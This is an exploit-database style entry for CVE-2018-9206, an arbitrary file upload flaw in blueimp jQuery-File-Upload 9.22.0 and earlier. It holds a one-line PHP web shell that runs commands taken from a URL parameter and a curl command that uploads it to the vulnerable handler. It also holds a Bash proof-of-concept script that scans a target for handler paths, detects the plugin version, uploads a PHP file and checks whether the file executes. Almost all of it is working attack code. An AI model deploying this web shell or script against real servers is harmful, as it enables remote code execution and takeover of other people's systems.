jQuery-File-Upload 9.22.0 - Arbitrary File Upload

# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE-ID: N/A

# Vulnerability:
# The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php 
# doesn't require any validation to upload files to the server.  It also doesn't exclude file types.  
# This allows for remote code execution.

# shell.php:
<?php $cmd=$_GET['cmd']; system($cmd);?>

# Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php


#!/bin/bash 



USERAGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

PATHS=("server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php")

MALICIOUS_FILE="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1).php"



# What is added in this exploit from the original version

# - a bit of refactoring

# - automatically request the right filename if it already exists on server ex: 'file (1).php'

# - Try to detect plugin version,

# - Try to detect index.html (allowing files upload via gui)



# Checking curl & jq



curl -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install curl."

    echo "# apt install curl"

    exit 1

fi



jq -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install jq."

    echo "# apt install jq"

    exit 1

fi



# Checking url



if [ -z $1 ]; then

    echo "[!] Please supply a target host as an argument."

    echo "$0 http://www.example.com"

    exit 1

fi



# Generating payload



echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

echo  "________________________________________________________________________________"

echo  "|PoC Exploit for Blueimp's jQuery File Uploader CVE-2018-9206"

echo  "|Checks for older versions of the code and upload an harmless file."

echo  "|"

echo  "| @_larry0, @phackt_ul"

echo  "|Works for version <= 9.22.0 and with Apache > 2.3.9 (AllowOverride None)."

echo  "---/"

echo

echo  "[+] Checking variations :"



# Creating alias



curl='curl --connect-timeout 10 -sk -A "${USERAGENT}"'



index=-1

found=0



# Looking for upload php class file



for x in ${PATHS[@]}; do

    echo "[*] Testing... -> $1/$x"

    ${curl} -i "$1/$x" | head -1 | grep 200 &>/dev/null



    if [ $? -eq 0 ]; then

        echo "[+] Found Path: $x"

        index=$((${index}+1))

        found=1

        break;

    fi;



    index=$((${index}+1))



done



# Determining the exploit path according to the jquery version



exploit_path=""



if [ ${index} -eq 0 -o ${index} -eq 2 ];then

    exploit_path="server/php/index.php"

fi



if [ ${index} -eq 1 ];then

    exploit_path="example/upload.php"

fi



if [ ${index} -eq 3 ];then

    exploit_path="php/index.php"

fi



if [ ${found} -ne 1 ]; then

    echo "[!] ### Error: A vulnerable jQuery-File-Upload plugin was not found!"

    exit 1

fi



# Trying to detect bower.json, package.json



version_files=("bower.json package.json")



for x in ${version_files[@]}; do

    version=`${curl} "$1/$x" | jq -r .version`

    if [ "X" != "X""${version}" ]; then

        echo "[!] Found: Plugin version ${version}"

        break;

    fi

done



# Trying to detect index.html



${curl} "$1/index.html" | grep -i "jquery file upload" &>/dev/null



if [ $? -eq 0 ]; then

    echo "[!] Found: $1/index.html is accessible"

fi



# Uploading payload



res=""

echo "[+] Running ${curl} -F \"files[]=@${MALICIOUS_FILE}\" -F \"filename=${MALICIOUS_FILE}\" \"$1/${exploit_path}\""



filename=`${curl} -F "files[]=@${MALICIOUS_FILE}" -F "filename=${MALICIOUS_FILE}" "$1/${exploit_path}" | jq -r .files[].name`



if [ "X""${filename}" == "X" ]; then

    echo "[!] It seems that we had a false positive! :("

    exit 1

fi



filename=`echo "$filename" | sed 's/ /%20/g'`



# Trying to see if victim has been exploited



echo "[+] Testing path: $1/$(dirname ${exploit_path})/files/${filename}"

res=`${curl} "$1/$(dirname ${exploit_path})/files/${filename}"`



if [ "${res}" == "it works" ]; then

    echo "[!] Found: $1 is vulnerable"

else

    echo "[+] Seems not vulnerable :("

fi



rm -f "${MALICIOUS_FILE}" &>/dev/null